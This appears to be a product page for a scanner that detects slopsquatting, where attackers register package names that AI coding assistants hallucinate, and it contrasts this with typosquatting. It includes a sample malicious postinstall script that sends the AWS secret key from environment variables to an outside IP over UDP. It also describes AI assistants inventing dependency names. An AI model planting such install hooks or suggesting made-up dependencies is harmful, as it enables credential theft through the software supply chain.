Scan GitHub repos for slopsquatting: a supply chain attack that turns AI hallucinations into malware delivery.
The dependency the model invented.
AI coding assistants hallucinate package names that were never published. Because the names are fabricated, not misspelled, traditional SCA scanners built on typosquatting patterns won't flag them. Attackers register these names on npm or PyPI before developers notice.
Attacker Snipes the Empty Specifier
Threat actors scrape LLM hallucination traces and register the unclaimed namespace on npm or PyPI within 48–72 hours. When CI/CD or a teammate runs `npm install`, the malicious tarball executes its payload.
// postinstall.js in published tarball
const s = require("dgram").createSocket("udp4");
s.send(Buffer.from(process.env.AWS_SECRET_ACCESS_KEY), 8443, "185.220.101.44");Slopsquatting vs Typosquatting
Real and hallucinated packages look identical in source code. The registry tells a different story.
The name sounds like a real ESLint plugin for removing unused imports. AI models hallucinate this shortened name instead of the legitimate eslint-plugin-unused-imports package. An attacker registered the name and npm security-held it after the attack was identified.
The original malicious payload has been neutralized by npm, but the package was installed over 7,500 times before the takeover. Projects still referencing it are running a security-placeholder stub instead of the ESLint plugin they expected.
A single missing character turns a trusted dependency into a malicious one.
A developer or AI agent typed mongose instead of mongoose, the popular MongoDB ODM. An attacker had already registered the misspelling on npm.
mongoose package (66M weekly downloads). Traditional SCA scanners can detect this pattern, but many projects still don't run those checks.Unlike slopsquats, typosquats are misspellings of real packages. The attack is older and well-documented, but still effective because not every team has SCA tooling in their CI pipeline.